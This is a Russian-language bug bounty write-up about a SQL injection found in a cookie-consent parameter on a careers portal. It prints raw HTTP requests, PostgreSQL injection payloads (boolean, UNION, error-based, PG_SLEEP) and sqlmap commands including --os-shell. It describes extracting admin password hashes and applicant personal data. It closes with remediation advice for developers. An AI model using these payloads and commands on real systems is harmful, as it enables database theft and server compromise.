Привет, я nav1n0x — администратор баз данных по профессии, исследователь безопасности, а также баг-хантер по призванию, с фокусом на уязвимости, которые часто остаются незамеченными. Мне нравится исследовать логику приложений, забытые параметры и превращать свои предположения в критические находки (как эта SQL-инъекция, скрытая в баннере с согласием на использование файлов cookie). Моя цель — делиться практическими техническими статьями, которые помогают исследователям и разработчикам понять, откуда берутся эти уязвимости — и, что более важно, как их предотвратить.

В мире bug bounty нас часто обучают искать очевидные уязвимости: страницы входа, строки поиска, панели администратора. Но время от времени баги появляются там, где их меньше всего ожидаешь — например, в баннере с согласием на использование файлов cookie.
Примечание: Я намеренно изменил или замазал большинство реальных названий параметров, значений и путей к конечным точкам, чтобы предотвратить идентификацию реальной цели. Структура и логика запросов остаются технически точными (для образовательных целей).
В этой статье я расскажу, как я обнаружил уязвимость SQL Injection в параметре согласия на использование файлов cookie на карьерном портале крупной автомобильной компании (не BMW!). То, что казалось особенностью пользовательского интерфейса, обернулось в следующее:
✅ Полный доступ к базе данных
✅ Извлечение учетных данных администратора
✅ Получение доступа к панели администратора (с использованием расшифрованных паролей)
✅ Удаленное выполнение кода (RCE)
Разберемся более детально
Цель была частью приватной bug bounty программы, размещенной на крупной платформе. В скоуп входило множество веб- и мобильных приложений. Одно из них содержало ссылку для подачи заявок на работу, перенаправляющую пользователей на специализированный карьерный портал. Этот портал позволял кандидатам отправлять резюме и управлять своим профилем. Как и ожидалось в соответствии с требованиями GDPR, сайт просил согласия на использование файлов cookie, позволяя пользователям настраивать свои предпочтения относительно конфиденциальности. То, что казалось стандартным компонентом интерфейса, оказалось входной точкой к гораздо более глубокой уязвимости. Баннер содержал привычные элементы (обратите внимание, я изменил текст реального баннера, чтобы избежать идентификации цели):
✅ "Принять все"
🚫 "Отклонить"
⚙️ Настройки (меню для хранения пользовательских предпочтений)

Большинство разработчиков упускает из виду момент, когда пользователь нажимает на кнопку и провацирует запрос на сервер. В данном случае параметр cookieconsent передавался через POST-запрос. Я обнаружил, что он поддается инъекции.
Проведя рутинную разведку с помощью Burp Suite и зафиксировав все взаимодействия, чтобы выявить интересные и доступные параметры, я изучил каждый запрос. В какой-то момент — не задумываясь — я кликал по баннеру cookie ("Принять все", "Отклонить" или даже "Настройки"). Это было частью обычного процесса, но благодаря логированию трафика в Burp, это безобидное взаимодействие, обернулось обнаружением серьезной проблемы, скрывающейся на поверхности.
Почему эта SQL-инъекция была уникальной — и редко тестировалась
Когда речь идет о SQL-инъекциях, большинству людей сразу приходят в голову привычные места: формы входа, поля поиска, фильтры и AJAX-запросы.
Но эта... Она пряталась на виду — внутри баннера согласия на использование cookie, активируемого простым взаимодействием с интерфейсом, такими как "Принять все" или "Отклонить". Вот что делало ее редкой. Это не было полем ввода или проблемой в форме входа. Это была настройка конфиденциальности, управляемая фронтендом, которая передавалась незаметно, как параметр, когда пользователь нажимал кнопку — параметр вроде cookieConsent=1 или cookieConsent=0.
Разработчики часто предполагают, что если ввод идет от нажатия кнопки, это безопасно.
Но вот горькая правда:
Нападающие не нажимают кнопки. Мы подделываем запросы.
Это ошибочное предположение — что параметры, управляемые фронтендом, безопасны и недоступны для вмешательства — было причиной существования этой уязвимости.
Этот баг подчеркивает важный урок: любой параметр, доступный клиенту, вполне может быть использован, независимо от того, насколько "безобидным" он кажется.
Уязвимый запрос:
POST /careers?cookieConsent=1 HTTP/1.1
Host: [careers.redacted-domain]
Content-Type: application/x-www-form-urlencoded
Accept: application/json, text/javascript, /; q=0.01
X-Requested-With: XMLHttpRequest
Cookie: PHPSESSID=
Content-Length: 254
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Connection: Keep-Alive
InputAddress=123testadd&UniqueID=xxxxx&InputCity=Tokyo&InputEmail=testing@example.com
&
InputName=UserTEST&InputNote=test&InputPhone=123456000&InputSName=UserTEST&
InputTitle=Mr.&InputZip=123000&jobID=866&Agree=agree1
Как обычно, я начал тестировать каждый параметр, захваченный во время анализа трафика в Burp Suite. Один из запросов выделялся, и я изменил его на:
POST /careers?cookieConsent=1'+AND+1=2--
Это привело к тому, что сервер ответил ошибкой 500 Internal Server Error — явным признаком того, что параметр небезопасно внедрялся в SQL-запрос. Сервер не только обрабатывал ввод, но и отражал ошибку, подтверждая наличие SQL-инъекции или чего-то подобного.
Корень проблемы: Прямая SQL-инъекция в настройках cookie
Логика на серверной стороне, вероятно, выглядела примерно так:
SELECT * FROM cookie_preferences WHERE consent_status = '$cookieConsent'
И поскольку не было:
Никакой валидации входных данных
Никакой санитизации
Никаких подготовленных запросов и так далее...
Из-за этой глупой ошибки разработчика я смог внедрить произвольные SQL-команды.
Настройка конфиденциальности стала уязвимостью.
Ручное тестирование и фаззинг: От интуиции к подтвержденной SQL-инъекции
После того как я увидел ошибку 500 Internal Server Error, я решил подробнее изучить запрос с параметром cookieConsent. Как и во всех потенциальных местах инъекции, я следовал структурированному подходу — начиная с ручного ввода и постепенно переходя к классическим паттернам SQL-инъекций, которые оказывались успешными в предыдущих тестах.
Шаг 1: Проверка булевой логики
Сначала я провел простой тест на основе булевой логики, чтобы определить, обрабатывает ли сервер SQL-логику напрямую из параметра:
✅ cookieConsent=1'+AND+1=1- - → Страница загрузилась нормально.
❌ cookieConsent=1'+AND+1=2- - → Страница сломалась и вернула ошибку 500 Internal Server Error.
Этот классический тест переключателя — один из моих основных методов для быстрой проверки булевой SQL-инъекции, особенно когда нет разницы в выводе, но поведение сервера меняется. Поведение при ложных условиях подтвердило одно: ввод обрабатывался небезопасно.
Шаг 2: Подтверждение ошибки синтаксиса
Чтобы убедиться, что это не просто плохая валидация ввода или сломанная логика, я внедрил неправильно составленную SQL-строку, чтобы намеренно вызвать ошибку синтаксиса на уровне базы данных:
cookieConsent=1'
Сервер ответил другой ошибкой 500 Internal Server Error с подозрительной задержкой, что указывает на необработанное SQL-исключение, а не на обычный сбой валидации.
Это дало мне две важные вещи: 1) Параметр не очищается. 2) Движок выполнения запросов выводит ошибки с сервера.
Шаг 3: Раскрытие версии через объединение инъекций
Далее я перешел к UNION-based нагрузкам — что-то вроде этого:
cookieConsent=1'+UNION+SELECT+NULL,version()--
Это один из моих любимых методов для быстрой проверки. Если это срабатывает, обычно отображается версия базы данных. Это сработало... Страница вернула:
PostgreSQL 13.10 (Ubuntu)
Ответ отразил версию PostgreSQL, работающей на Ubuntu. Это была не просто инъекция — она напрямую отражала данные с сервера. На этом этапе уязвимость была полностью подтверждена.
Шаг 4: Определение контекста выполнения
Я ввел следующее, чтобы определить количество столбцов:
cookieConsent=1'+ORDER+BY+1--
Это не сработало, в то время как:
cookieConsent=1'+ORDER+BY+2--
Успешно... Это означало, что изначально запрос, вероятно, выбирал 2 столбца, и теперь я мог соответствующим образом выровнять UNION SELECT. Так что я попробовал:
cookieConsent=1'+UNION+SELECT+NULL,version()--
Ответ отразил версию PostgreSQL.
На данном этапе я смог:
- Подтвердить UNION-based SQL-инъекцию
- Выровнять количество столбцов
- Проверить синтаксис, специфичный для PostgreSQL
- Доказать, что вывод запроса отражается в ответе
Я также протестировал задержку выполнения, используя time-based blind SQLi.
cookieConsent=agree1;SELECT+PG_SLEEP(10)--2-5)
POST /careers?cookieConsent=1 HTTP/1.1
Host: [careers.redacted-domain]
Content-Type: application/x-www-form-urlencoded
Accept: application/json, text/javascript, /; q=0.01
X-Requested-With: XMLHttpRequest
Cookie: PHPSESSID=
Content-Length: 254
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Connection: Keep-Alive
InputAddress=123testadd&UniqueID=xxxxx&InputCity=Tokyo&InputEmail=testing@example.com
&
InputName=UserTEST&InputNote=test&InputPhone=123456000&InputSName=UserTEST&
InputTitle=Mr.&InputZip=123000&jobID=866&cookieConsent=agree1;SELECT+PG_SLEEP(10)--2-5)
Ответ задержался примерно на 11 секунд. Это подтвердило, что временная SQL-инъекция была возможна, это стало моим запасным вариантом.

Наблюдения
Параметр cookieConsent содержит time-based SQLi полезную нагрузку для PostgreSQL:
;SELECT+PG_SLEEP(10) - 2–5)
Ответ (HTTP/1.1 200 OK) указывает на то, что сервер принял полезную нагрузку, и поскольку ответ задержался, это очевидный намек на успешную blind time-based SQL-инъекцию.
Заголовки, такие как X-Powered-By: PHP/5.6.40 и X-Powered-By: ASP.NET,reveал смешанный стек бэкенда — возможный индикатор неправильной конфигурации или устаревших компонентов технологий.
Шаг 5: Определение и перечисление
Я перешел к перечислению баз данных с помощью:
cookieConsent=1'+UNION+SELECT+NULL,currentdatabase()--
И:
cookieConsent=1'+UNION+SELECT+NULL,currentuser--
Что вернуло:
Имя базы данных (например, xxxportal)
Пользователь базы данных (например, xxxuser)
Затем я попытался получить информацию через ошибки, используя конкатенацию строк:
cookieConsent=1'+AND+1=(SELECT+CAST(('abc'||(SELECT+tablename+FROM+informationschema.tables+LIMIT+1))+AS+TEXT))--
Это вызвало ошибку с утечкой имени таблицы — что подтвердило возможность error-based SQLi.
Автоматизация SQLMap
Хоть у меня и есть СУБД, имя хоста и текущий пользователь в результате ручного подхода, я решил продолжить с SQLMap:
sqlmap -r request.txt -p cookieConsent --level 5 --risk 3 --random-agent --time-sec=10 --threads=2 --dbms=PostgreSQL
Всего за несколько минут SQLMap смог найти точку инъекции и показал мне все 3 типа уязвимостей.

Я сумел получить хэши паролей всего персонала и администраторов:

Раскрытие личной информации
В приложении была база данных, содержащая данные соискателей, их контактные данные, электронную почту, имя пользователя, захешированные пароли и т.д.
Вход в Админ Панель
Учетные данные могли подойти к административной панели, но я решил не расшифровывать пароль, так как знал, что это займет много времени.
RCE с помощью SQLMAP
Единственное, что я еще хотел протестировать, это RCE, поэтому я запустил свой SQLMAP, используя следующую команду:
sqlmap -r request.txt -p cookieConsent --level 5 --risk 3 --random-agent --time-sec=10 --threads=2 --dbms=PostgreSQL --os-shell
И вот оно:

Рекомендации для разработчиков
- Используйте параметризованные запросы, а не динамические SQL-строки
- Проверяйте даже "контролируемые" входные данные на фронтенде, такие как настройки cookie
- Никогда не доверяйте GET параметрам, активированным через пользовательский интерфейс
- Сканируйте и очищайте загружаемые файлы как на уровне расширения, так и на уровне содержимого
Это была одна из самых неожиданных критических ошибок, которые я находил. Баннер согласия на использование файлов cookie — инструмент, предназначенный для улучшения конфиденциальности — оказался точкой компрометации базы данных и всего сервера.
Еще больше познавательного контента в Telegram-канале — Life-Hack - Хакер